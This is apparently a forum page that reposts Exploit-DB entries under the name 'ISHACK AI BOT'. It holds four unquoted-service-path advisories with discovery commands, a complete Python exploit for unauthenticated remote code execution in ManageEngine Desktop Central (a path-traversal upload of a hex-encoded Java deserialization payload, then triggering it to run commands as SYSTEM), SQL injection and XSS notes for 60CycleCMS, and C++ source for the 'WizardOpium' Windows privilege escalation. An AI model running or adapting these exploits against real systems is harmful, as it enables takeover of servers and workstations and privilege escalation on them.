ISHACK AI BOT 发布的所有帖子
-
Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path
# Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path # Discovery by: Alejandro Reyes # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.iskysoft.us # Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE # Tested Version: 2.4.3.241 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "Iskysoft" | findstr /i /v """ Iskysoft Application Framework Service IsAppService C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe Auto # Service info: C:\WINDOWS\system32>sc qc "IsAppService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: IsAppService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 0 IGNORE BINARY_PATH_NAME : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Iskysoft Application Framework Service DEPENDENCIES : RPCSS # Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
-
SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path
# Exploit Title: SpyHunter 4 - 'SpyHunter 4 Service' Unquoted Service Path # Discovery by: Alejandro Reyes # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.enigmasoftware.com # Software Link : https://www.enigmasoftware.com/spyhunter-download-instructions/ # Tested Version: 4 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home x64 # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "SpyHunter" | findstr /i /v """ SpyHunter 4 Service SpyHunter 4 Service C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe Auto # Service info: C:\>sc qc "IsAppService" [SC] QueryServiceConfig SUCCESS SERVICE_NAME: SpyHunter 4 Service TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\Enigma Software Group\SpyHunter\SH4Service.exe LOAD_ORDER_GROUP : Base TAG : 0 DISPLAY_NAME : SpyHunter 4 Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
-
ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path
# Exploit Title: ASUS GiftBox Desktop 1.1.1.127 - 'ASUSGiftBoxDesktop' Unquoted Service Path # Discovery by: Oscar Flores # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.asus.com/ # Software Link : https://www.microsoft.com/en-us/p/asus-giftbox/9wzdncrdrb6s?activetab=pivot:overviewtab # Tested Version: 1.1.1.127 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Home Single Language # Step to discover Unquoted Service Path: C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "ASUSGift" | findstr /i /v """ Asus GiftBox Desktop ASUSGiftBoxDekstop C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe Auto # Service info: C:\>sc qc ASUSGiftBoxDekstop [SC] QueryServiceConfig SUCCESS SERVICE_NAME: ASUSGiftBoxDekstop TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files (x86)\ASUS\ASUS GIFTBOX Desktop\ASUSGIFTBOXDesktop.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Asus GiftBox Desktop DEPENDENCIES : SERVICE_START_NAME : LocalSystem #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
-
Deep Instinct Windows Agent 1.2.29.0 - 'DeepMgmtService' Unquoted Service Path
# Exploit Title: Deep Instinct Windows Agent 1.2.29.0 - 'DeepMgmtService' Unquoted Service Path # Discovery by: Oscar Flores # Discovery Date: 2020-03-05 # Vendor Homepage: https://www.deepinstinct.com/ # Software Links : https://www.deepinstinct.com/2019/05/22/hp-collaborates-with-deep-instinct-to-roll-out-ai-powered-malware-protection-for-next-generation-hp-elitebook-and-zbook-pcs/ # https://press.ext.hp.com/us/en/press-releases/2019/hp-elevates-premium-and-personalized-pc-experiences-for-leaders-and-creators.html # Tested Version: 1.2.29.0 # Vulnerability Type: Unquoted Service Path # Tested on OS: Windows 10 Pro 64 bits # Step to discover Unquoted Service Path: C:\>wmic service get displayname,pathname,name | findstr /i "deepmgmtservice" Deep Instinct Management Service DeepMgmtService C:\Program Files\HP Sure Sense\DeepMgmtService.exe # Service info: C:\>sc qc DeepMgmtService [SC] QueryServiceConfig SUCCESS SERVICE_NAME: DeepMgmtService TYPE : 10 WIN32_OWN_PROCESS START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:\Program Files\HP Sure Sense\DeepMgmtService.exe LOAD_ORDER_GROUP : FSFilter Anti-Virus TAG : 0 DISPLAY_NAME : Deep Instinct Management Service DEPENDENCIES : SERVICE_START_NAME : LocalSystem C:\> #Exploit: # A successful attempt would require the local user to be able to insert their code in the # system root path undetected by the OS or other security applications where it could # potentially be executed during application startup or reboot. If successful, the local # user's code would execute with the elevated privileges of the application.
-
ManageEngine Desktop Central - 'FileStorage getChartImage' Deserialization / Unauthenticated Remote Code Execution
#!/usr/bin/python3 """ ManageEngine Desktop Central FileStorage getChartImage Deserialization of Untrusted Data Remote Code Execution Vulnerability Download: https://www.manageengine.com/products/desktop-central/download-free.html File ...: ManageEngine_DesktopCentral_64bit.exe SHA1 ...: 73ab5bb00f993685c711c0aed450444795d5b826 Found by: mr_me Date ...: 2019-12-12 Class ..: CWE-502 CVSS ...: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H (9.8 Critical) ## Summary: An unauthenticated attacker can reach a Deserialization of Untrusted Data vulnerability that can allow them to execute arbitrary code as SYSTEM/root. ## Vulnerability Analysis: In the web.xml file, we can see one of the default available servlets is the `CewolfServlet` servlet. ``` <servlet> <servlet-name>CewolfServlet</servlet-name> <servlet-class>de.laures.cewolf.CewolfRenderer</servlet-class> <init-param> <param-name>debug</param-name> <param-value>false</param-value> </init-param> <init-param> <param-name>overliburl</param-name> <param-value>/js/overlib.js</param-value> </init-param> <init-param> <param-name>storage</param-name> <param-value>de.laures.cewolf.storage.FileStorage</param-value> </init-param> <load-on-startup>1</load-on-startup> </servlet> ... <servlet-mapping> <servlet-name>CewolfServlet</servlet-name> <url-pattern>/cewolf/*</url-pattern> </servlet-mapping> ``` This servlet, contains the following code: ``` protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { if (debugged) { logRequest(request); } addHeaders(response); if ((request.getParameter("state") != null) || (!request.getParameterNames().hasMoreElements())) { requestState(response); return; } int width = 400; int height = 400; boolean removeAfterRendering = false; if (request.getParameter("removeAfterRendering") != null) { removeAfterRendering = true; } if (request.getParameter("width") != null) { width = Integer.parseInt(request.getParameter("width")); } if (request.getParameter("height") != null) { height = Integer.parseInt(request.getParameter("height")); } if (!renderingEnabled) { renderNotEnabled(response, 400, 50); return; } if ((width > config.getMaxImageWidth()) || (height > config.getMaxImageHeight())) { renderImageTooLarge(response, 400, 50); return; } String imgKey = request.getParameter("img"); // 1 if (imgKey == null) { logAndRenderException(new ServletException("no 'img' parameter provided for Cewolf servlet."), response, width, height); return; } Storage storage = config.getStorage(); ChartImage chartImage = storage.getChartImage(imgKey, request); // 2 ``` At [1] the code sets the `imgKey` variable using the GET parameter `img`. Later at [2], the code then calls the `storage.getChartImage` method with the attacker supplied `img`. You maybe wondering what class the `storage` instance is. This was mapped as an initializing parameter to the servlet code in the web.xml file: ``` <init-param> <param-name>storage</param-name> <param-value>de.laures.cewolf.storage.FileStorage</param-value> </init-param> ``` ``` public class FileStorage implements Storage { static final long serialVersionUID = -6342203760851077577L; String basePath = null; List stored = new ArrayList(); private boolean deleteOnExit = false; //... public void init(ServletContext servletContext) throws CewolfException { basePath = servletContext.getRealPath("/"); Configuration config = Configuration.getInstance(servletContext); deleteOnExit = "true".equalsIgnoreCase("" + (String) config.getParameters().get("FileStorage.deleteOnExit")); servletContext.log("FileStorage initialized, deleteOnExit=" + deleteOnExit); } //... private String getFileName(String id) { return basePath + "_chart" + id; // 4 } //... public ChartImage getChartImage(String id, HttpServletRequest request) { ChartImage res = null; ObjectInputStream ois = null; try { ois = new ObjectInputStream(new FileInputStream(getFileName(id))); // 3 res = (ChartImage) ois.readObject(); // 5 ois.close(); } catch (Exception ex) { ex.printStackTrace(); } finally { if (ois != null) { try { ois.close(); } catch (IOException ioex) { ioex.printStackTrace(); } } } return res; } ``` At [3] the code calls `getFileName` using the attacker controlled `id` GET parameter which returns a path to a file on the filesystem using `basePath`. This field is set in the `init` method of the servlet. On the same line, the code creates a new `ObjectInputStream` instance from the supplied filepath via `FileInputStream`. This path is attacker controlled at [4], however, there is no need to (ab)use traversals here for exploitation. The most important point is that at [5] the code calls `readObject` using the contents of the file without any further lookahead validation. ## Exploitation: For exploitation, an attacker can (ab)use the `MDMLogUploaderServlet` servlet to plant a file on the filsystem with controlled content inside. Here is the corresponding web.xml entry: ``` <servlet> <servlet-name>MDMLogUploaderServlet</servlet-name> <servlet-class>com.me.mdm.onpremise.webclient.log.MDMLogUploaderServlet</servlet-class> </servlet> ... <servlet-mapping> <servlet-name>MDMLogUploaderServlet</servlet-name> <url-pattern>/mdm/mdmLogUploader</url-pattern> <url-pattern>/mdm/client/v1/mdmLogUploader</url-pattern> </servlet-mapping> ``` ``` public class MDMLogUploaderServlet extends DeviceAuthenticatedRequestServlet { private Logger logger = Logger.getLogger("MDMLogger"); private Long customerID; private String deviceName; private String domainName; private Long resourceID; private Integer platformType; private Long acceptedLogSize = Long.valueOf(314572800L); public void doPost(HttpServletRequest request, HttpServletResponse response, DeviceRequest deviceRequest) throws ServletException, IOException { Reader reader = null; PrintWriter printWriter = null; logger.log(Level.WARNING, "Received Log from agent"); Long nDataLength = Long.valueOf(request.getContentLength()); logger.log(Level.WARNING, "MDMLogUploaderServlet : file conentent lenght is {0}", nDataLength); logger.log(Level.WARNING, "MDMLogUploaderServlet :Acceptable file conentent lenght is {0}", acceptedLogSize); try { if (nDataLength.longValue() <= acceptedLogSize.longValue()) { String udid = request.getParameter("udid"); // 1 String platform = request.getParameter("platform"); String fileName = request.getParameter("filename"); // 2 HashMap deviceMap = MDMUtil.getInstance().getDeviceDetailsFromUDID(udid); if (deviceMap != null) { customerID = ((Long) deviceMap.get("CUSTOMER_ID")); deviceName = ((String) deviceMap.get("MANAGEDDEVICEEXTN.NAME")); domainName = ((String) deviceMap.get("DOMAIN_NETBIOS_NAME")); resourceID = ((Long) deviceMap.get("RESOURCE_ID")); platformType = ((Integer) deviceMap.get("PLATFORM_TYPE")); } else { customerID = Long.valueOf(0L); deviceName = "default"; domainName = "default"; } String baseDir = System.getProperty("server.home"); deviceName = removeInvalidCharactersInFileName(deviceName); String localDirToStore = baseDir + File.separator + "mdm-logs" + File.separator + customerID + File.separator + deviceName + "_" + udid; // 3 File file = new File(localDirToStore); if (!file.exists()) { file.mkdirs(); // 4 } logger.log(Level.WARNING, "absolute Dir {0} ", new Object[]{localDirToStore}); fileName = fileName.toLowerCase(); if ((fileName != null) && (FileUploadUtil.hasVulnerabilityInFileName(fileName, "log|txt|zip|7z"))) { // 5 logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload {0}", fileName); response.sendError(403, "Request Refused"); return; } String absoluteFileName = localDirToStore + File.separator + fileName; // 6 logger.log(Level.WARNING, "absolute File Name {0} ", new Object[]{fileName}); InputStream in = null; FileOutputStream fout = null; try { in = request.getInputStream(); // 7 fout = new FileOutputStream(absoluteFileName); // 8 byte[] bytes = new byte['✐']; int i; while ((i = in.read(bytes)) != -1) { fout.write(bytes, 0, i); // 9 } fout.flush(); } catch (Exception e1) { e1.printStackTrace(); } finally { if (fout != null) { fout.close(); } if (in != null) { in.close(); } } SupportFileCreation supportFileCreation = SupportFileCreation.getInstance(); supportFileCreation.incrementMDMLogUploadCount(); JSONObject deviceDetails = new JSONObject(); deviceDetails.put("platformType", platformType); deviceDetails.put("dataId", resourceID); deviceDetails.put("dataValue", deviceName); supportFileCreation.removeDeviceFromList(deviceDetails); } else { logger.log(Level.WARNING, "MDMLogUploaderServlet : Going to reject the file upload as the file conentent lenght is {0}", nDataLength); response.sendError(403, "Request Refused"); return; } return; } catch (Exception e) { logger.log(Level.WARNING, "Exception ", e); } finally { if (reader != null) { try { reader.close(); } catch (Exception ex) { ex.fillInStackTrace(); } } } } ``` ``` private static boolean isContainDirectoryTraversal(String fileName) { if ((fileName.contains("/")) || (fileName.contains("\\"))) { return true; } return false; } //... public static boolean hasVulnerabilityInFileName(String fileName, String allowedFileExt) { if ((isContainDirectoryTraversal(fileName)) || (isCompletePath(fileName)) || (!isValidFileExtension(fileName, allowedFileExt))) { return true; } return false; } ``` We can see that at [1] the `udid` variable is controlled using the `udid` GET parameter from a POST request. At [2] the `fileName` variable is controlled from the GET parameter `filename`. This `filename` GET parameter is actually filtered in 2 different ways for malicious values. At [3] a path is contructed using the GET parameter from [1] and at [4] a `mkdirs` primitive is hit. This is important because the _charts directory doesn't exist on the filesystem which is needed in order to exploit the deserialization bug. There is some validation on the `filename` at [5] which calls `FileUploadUtil.hasVulnerabilityInFileName` to check for directory traversals and an allow list of extensions. Of course, this doesn't stop `udid` from containing directory traversals, but I digress. At [6] the `absoluteFileName` variable is built up from the attacker influenced path at [3] using the filename from [2] and at [7] the binary input stream is read from the attacker controlled POST body. Finally at [8] and [9] the file is opened and the contents of the request is written to disk. What is not apparent however, is that further validation is performed on the `filename` at [2]. Let's take one more look at the web.xml file: ``` <init-param> <param-name>config-file</param-name> <param-value>security-regex.xml,security-mdm-regex.xml,security-mdm-api-regex.xml,security-properties.xml,security-common.xml,security-admin-sec-settings.xml,security-fws.xml,security-api.xml,security-patch-restapi.xml,security-mdm-groupdevices.xml,security-mdm-admin.xml,security-mdm-general.xml,security-mdm-agent.xml,security-mdm-reports.xml,security-mdm-inventory.xml,security-mdm-appmgmt.xml,security-mdm-docmgmt.xml,security-mdm-configuration.xml,security-defaultresponseheaders.xml,security-mdm-remote.xml,security-mdm-api-json.xml,security-mdm-api-get.xml,security-mdm-api-post.xml,security-mdm-api-put.xml,security-mdm-api-delete.xml,security-mdm-privacy.xml,security-mdm-osmgmt.xml,security-mdmapi-appmgmt.xml,security-mdmapi-profilejson.xml,security-mdmapi-profilemgmt.xml,security-mdm-compliance.xml,security-mdm-geofence.xml,security-mdmapi-sdp.xml,security-mdmp-CEA.xml,security-mdmapi-supporttab.xml,security-mdmapi-general.xml,security-mdm-roles.xml,security-mdm-technicians.xml,security-mdm-cea.xml,security-mdmapi-content-mgmt.xml,security-config.xml,security-patch.xml,security-patch-apd-scan.xml,security-patch-apd-scan-views.xml,security-patch-deployment.xml,security-patch-views.xml,security-patch-config.xml,security-patch-onpremise.xml,security-patch-server.xml,security-onpremise-common.xml,security-mdm-onpremise-files.xml,security-mdmapi-directory.xml,security-admin.xml,security-onpremise-admin.xml,security-reports.xml,security-inventory.xml,security-custom-fields.xml</param-value> </init-param> ``` The file that stands out is the `security-mdm-agent.xml` config file. The corrosponding entry for the `MDMLogUploaderServlet` servlet looks like this: ``` <url path="/mdm/mdmLogUploader" apiscope="MDMCloudEnrollment" authentication="required" duration="60" threshold="10" lock-period="60" method="post" csrf="false"> <param name="platform" regex="ios|android"/> <param name="filename" regex="logger.txt|logger.zip|mdmlogs.zip|managedprofile_mdmlogs.zip"/> <param name="uuid" regex="safestring"/> <param name="udid" regex="udid"/> <param name="erid" type="long"/> <param name="authtoken" regex="apikey" secret="true"/> <param name="SCOPE" regex="scope" /> <param name="encapiKey" regex="encapiKey" max-len="200" /> <param name="initiatedBy" regex="safestring"/> <param name="extraData" type="JSONObject" template="supportIssueDetailsJson" max-len="2500"/> </url> ``` Note that the authentication attribute is ignored in this case. The `filename` GET parameter is restricted to the following strings: "logger.txt", "logger.zip", "mdmlogs.zip" and "managedprofile_mdmlogs.zip" using a regex pattern. For exploitation, this limitation doesn't matter since the deserialization bug permits a completely controlled filename. ## Example: saturn:~ mr_me$ ./poc.py (+) usage: ./poc.py <target> <cmd> (+) eg: ./poc.py 172.16.175.153 mspaint.exe saturn:~ mr_me$ ./poc.py 172.16.175.153 "cmd /c whoami > ../webapps/DesktopCentral/si.txt" (+) planted our serialized payload (+) executed: cmd /c whoami > ../webapps/DesktopCentral/si.txt saturn:~ mr_me$ curl http://172.16.175.153:8020/si.txt nt authority\system """ import os import sys import struct import requests from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) def _get_payload(c): p = "aced0005737200176a6176612e7574696c2e5072696f72697479517565756594" p += "da30b4fb3f82b103000249000473697a654c000a636f6d70617261746f727400" p += "164c6a6176612f7574696c2f436f6d70617261746f723b787000000002737200" p += "2b6f72672e6170616368652e636f6d6d6f6e732e6265616e7574696c732e4265" p += "616e436f6d70617261746f72cf8e0182fe4ef17e0200024c000a636f6d706172" p += "61746f7271007e00014c000870726f70657274797400124c6a6176612f6c616e" p += "672f537472696e673b78707372003f6f72672e6170616368652e636f6d6d6f6e" p += "732e636f6c6c656374696f6e732e636f6d70617261746f72732e436f6d706172" p += "61626c65436f6d70617261746f72fbf49925b86eb13702000078707400106f75" p += "7470757450726f706572746965737704000000037372003a636f6d2e73756e2e" p += "6f72672e6170616368652e78616c616e2e696e7465726e616c2e78736c74632e" p += "747261782e54656d706c61746573496d706c09574fc16eacab3303000649000d" p += "5f696e64656e744e756d62657249000e5f7472616e736c6574496e6465785b00" p += "0a5f62797465636f6465737400035b5b425b00065f636c6173737400125b4c6a" p += "6176612f6c616e672f436c6173733b4c00055f6e616d6571007e00044c00115f" p += "6f757470757450726f706572746965737400164c6a6176612f7574696c2f5072" p += "6f706572746965733b787000000000ffffffff757200035b5b424bfd19156767" p += "db37020000787000000002757200025b42acf317f8060854e002000078700000" p += "069bcafebabe0000003200390a00030022070037070025070026010010736572" p += "69616c56657273696f6e5549440100014a01000d436f6e7374616e7456616c75" p += "6505ad2093f391ddef3e0100063c696e69743e010003282956010004436f6465" p += "01000f4c696e654e756d6265725461626c650100124c6f63616c566172696162" p += "6c655461626c6501000474686973010013537475625472616e736c6574506179" p += "6c6f616401000c496e6e6572436c61737365730100354c79736f73657269616c" p += "2f7061796c6f6164732f7574696c2f4761646765747324537475625472616e73" p += "6c65745061796c6f61643b0100097472616e73666f726d010072284c636f6d2f" p += "73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f7873" p += "6c74632f444f4d3b5b4c636f6d2f73756e2f6f72672f6170616368652f786d6c" p += "2f696e7465726e616c2f73657269616c697a65722f53657269616c697a617469" p += "6f6e48616e646c65723b2956010008646f63756d656e7401002d4c636f6d2f73" p += "756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c" p += "74632f444f4d3b01000868616e646c6572730100425b4c636f6d2f73756e2f6f" p += "72672f6170616368652f786d6c2f696e7465726e616c2f73657269616c697a65" p += "722f53657269616c697a6174696f6e48616e646c65723b01000a457863657074" p += "696f6e730700270100a6284c636f6d2f73756e2f6f72672f6170616368652f78" p += "616c616e2f696e7465726e616c2f78736c74632f444f4d3b4c636f6d2f73756e" p += "2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64746d2f44544d" p += "417869734974657261746f723b4c636f6d2f73756e2f6f72672f617061636865" p += "2f786d6c2f696e7465726e616c2f73657269616c697a65722f53657269616c69" p += "7a6174696f6e48616e646c65723b29560100086974657261746f720100354c63" p += "6f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c2f64" p += "746d2f44544d417869734974657261746f723b01000768616e646c6572010041" p += "4c636f6d2f73756e2f6f72672f6170616368652f786d6c2f696e7465726e616c" p += "2f73657269616c697a65722f53657269616c697a6174696f6e48616e646c6572" p += "3b01000a536f7572636546696c6501000c476164676574732e6a6176610c000a" p += "000b07002801003379736f73657269616c2f7061796c6f6164732f7574696c2f" p += "4761646765747324537475625472616e736c65745061796c6f6164010040636f" p += "6d2f73756e2f6f72672f6170616368652f78616c616e2f696e7465726e616c2f" p += "78736c74632f72756e74696d652f41627374726163745472616e736c65740100" p += "146a6176612f696f2f53657269616c697a61626c65010039636f6d2f73756e2f" p += "6f72672f6170616368652f78616c616e2f696e7465726e616c2f78736c74632f" p += "5472616e736c6574457863657074696f6e01001f79736f73657269616c2f7061" p += "796c6f6164732f7574696c2f476164676574730100083c636c696e69743e0100" p += "116a6176612f6c616e672f52756e74696d6507002a01000a67657452756e7469" p += "6d6501001528294c6a6176612f6c616e672f52756e74696d653b0c002c002d0a" p += "002b002e01000708003001000465786563010027284c6a6176612f6c616e672f" p += "537472696e673b294c6a6176612f6c616e672f50726f636573733b0c00320033" p += "0a002b003401000d537461636b4d61705461626c6501001d79736f7365726961" p += "6c2f50776e6572373633323838353835323036303901001f4c79736f73657269" p += "616c2f50776e657237363332383835383532303630393b002100020003000100" p += "040001001a000500060001000700000002000800040001000a000b0001000c00" p += "00002f00010001000000052ab70001b100000002000d0000000600010000002e" p += "000e0000000c000100000005000f003800000001001300140002000c0000003f" p += "0000000300000001b100000002000d00000006000100000033000e0000002000" p += "0300000001000f00380000000000010015001600010000000100170018000200" p += "19000000040001001a00010013001b0002000c000000490000000400000001b1" p += "00000002000d00000006000100000037000e0000002a000400000001000f0038" p += "00000000000100150016000100000001001c001d000200000001001e001f0003" p += "0019000000040001001a00080029000b0001000c00000024000300020000000f" p += "a70003014cb8002f1231b6003557b10000000100360000000300010300020020" p += "00000002002100110000000a000100020023001000097571007e0010000001d4" p += "cafebabe00000032001b0a000300150700170700180700190100107365726961" p += "6c56657273696f6e5549440100014a01000d436f6e7374616e7456616c756505" p += "71e669ee3c6d47180100063c696e69743e010003282956010004436f64650100" p += "0f4c696e654e756d6265725461626c650100124c6f63616c5661726961626c65" p += "5461626c6501000474686973010003466f6f01000c496e6e6572436c61737365" p += "730100254c79736f73657269616c2f7061796c6f6164732f7574696c2f476164" p += "6765747324466f6f3b01000a536f7572636546696c6501000c47616467657473" p += "2e6a6176610c000a000b07001a01002379736f73657269616c2f7061796c6f61" p += "64732f7574696c2f4761646765747324466f6f0100106a6176612f6c616e672f" p += "4f626a6563740100146a6176612f696f2f53657269616c697a61626c6501001f" p += "79736f73657269616c2f7061796c6f6164732f7574696c2f4761646765747300" p += "2100020003000100040001001a00050006000100070000000200080001000100" p += "0a000b0001000c0000002f00010001000000052ab70001b100000002000d0000" p += "000600010000003b000e0000000c000100000005000f00120000000200130000" p += "0002001400110000000a000100020016001000097074000450776e7270770100" p += "7871007e000d78" obj = bytearray(bytes.fromhex(p)) obj[0x240:0x242] = struct.pack(">H", len(c) + 0x694) obj[0x6e5:0x6e7] = struct.pack(">H", len(c)) start = obj[:0x6e7] end = obj[0x6e7:] return start + str.encode(c) + end def we_can_plant_serialized(t, c): # stage 1 - traversal file write primitive uri = "https://%s:8383/mdm/client/v1/mdmLogUploader" % t p = { "udid" : "si\\..\\..\\..\\webapps\\DesktopCentral\\_chart", "filename" : "logger.zip" } h = { "Content-Type" : "application/octet-stream" } d = _get_payload(c) r = requests.post(uri, params=p, data=d, verify=False) if r.status_code == 200: return True return False def we_can_execute_cmd(t): # stage 2 - deserialization uri = "https://%s:8383/cewolf/" % t p = { "img" : "\\logger.zip" } r = requests.get(uri, params=p, verify=False) if r.status_code == 200: return True return False def main(): if len(sys.argv) != 3: print("(+) usage: %s <target> <cmd>" % sys.argv[0]) print("(+) eg: %s 172.16.175.153 mspaint.exe" % sys.argv[0]) sys.exit(1) t = sys.argv[1] c = sys.argv[2] if we_can_plant_serialized(t, c): print("(+) planted our serialized payload") if we_can_execute_cmd(t): print("(+) executed: %s" % c) if __name__ == "__main__": main()
-
60CycleCMS - 'news.php' SQL Injection
# Exploit Title: 60CycleCMS - 'news.php' Multiple vulnerability # Google Dork: N/A # Date: 2020-02-10 # Exploit Author: Unkn0wn # Vendor Homepage: http://davidvg.com/ # Software Link: https://www.opensourcecms.com/60cyclecms # Version: 2.5.2 # Tested on: Ubuntu # CVE : N/A --------------------------------------------------------- SQL Injection vulnerability: ---------------------------- in file /common/lib.php Line 64 -73 * function getCommentsLine($title) { $title = addslashes($title); $query = "SELECT `timestamp` FROM `comments` WHERE entry_id= '$title'"; // query MySQL server $result=mysql_query($query) or die("MySQL Query fail: $query"); $numComments = mysql_num_rows($result); $encTitle = urlencode($title); return '<a href="post.php?post=' . $encTitle . '#comments" >' . $numComments . ' comments</a>'; } lib.php line 44: * $query = "SELECT `timestamp`,`author`,`text` FROM `comments` WHERE `entry_id` ='$title' ORDER BY `timestamp` ASC"; * * news.php line 3: * require 'common/lib.php'; * Then in line 15 return query us: * $query = "SELECT MAX(`timestamp`) FROM `entries * http://127.0.0.1/news.php?title=$postName[SQL Injection] ---------------------------- Cross Site-Scripting vulnerability: File news.php in line: 136-138 : * $ltsu = $_GET["ltsu"]; $etsu = $_GET["etsu"]; $post = $_GET["post"]; * get payload us and printEnerty.php file in line 26-27: * <? echo '<a class="navLink" href="index.php?etsu=' . $etsu . '">Older ></a>'; <? echo '<a class="navLink" href="index.php?ltsu=' . 0 . '">Oldest >>|</a>'; * print it for us! http://127.0.0.1/index.php?etsu=[XSS Payloads] http://127.0.0.1/index.php?ltsu=[XSS Payloads] ---------------------------------------------------------- # Contact : [email protected] # Visit: https://t.me/l314XK205E # @ 2010 - 2020 # Underground Researcher
-
Microsoft Windows - 'WizardOpium' Local Privilege Escalation
#include <cstdio> #include <windows.h> extern "C" NTSTATUS NtUserMessageCall(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii); int main() { HINSTANCE hInstance = GetModuleHandle(NULL); WNDCLASSEX wcx; ZeroMemory(&wcx, sizeof(wcx)); wcx.hInstance = hInstance; wcx.cbSize = sizeof(wcx); wcx.lpszClassName = L"SploitWnd"; wcx.lpfnWndProc = DefWindowProc; wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0 printf("[*] Registering window\n"); ATOM wndAtom = RegisterClassEx(&wcx); if (wndAtom == INVALID_ATOM) { printf("[-] Failed registering SploitWnd window class\n"); exit(-1); } printf("[*] Creating instance of this window\n"); HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); if (sploitWnd == INVALID_HANDLE_VALUE) { printf("[-] Failed to create SploitWnd window\n"); exit(-1); } printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window\n"); NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1); printf("[*] Allocate memory to be used for corruption\n"); PVOID mem = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); printf("\tptr: %p\n", mem); PBYTE byteView = (PBYTE)mem; byteView[0x6c] = 1; // use GetKeyState in xxxPaintSwitchWindow //pass DrawSwitchWndHilite double dereference PVOID* ulongView = (PVOID*)mem; ulongView[0x20 / sizeof(PVOID)] = mem; printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n"); SetWindowLongPtr(sploitWnd, 0, (LONG_PTR)mem); printf("[*] GetLastError = %x\n", GetLastError()); printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n"); HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hInstance, NULL); printf("[*] Simulating alt key press\n"); BYTE keyState[256]; GetKeyboardState(keyState); keyState[VK_MENU] |= 0x80; SetKeyboardState(keyState); printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time"); NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1); }
-
Sentrifugo HRMS 3.2 - 'id' SQL Injection
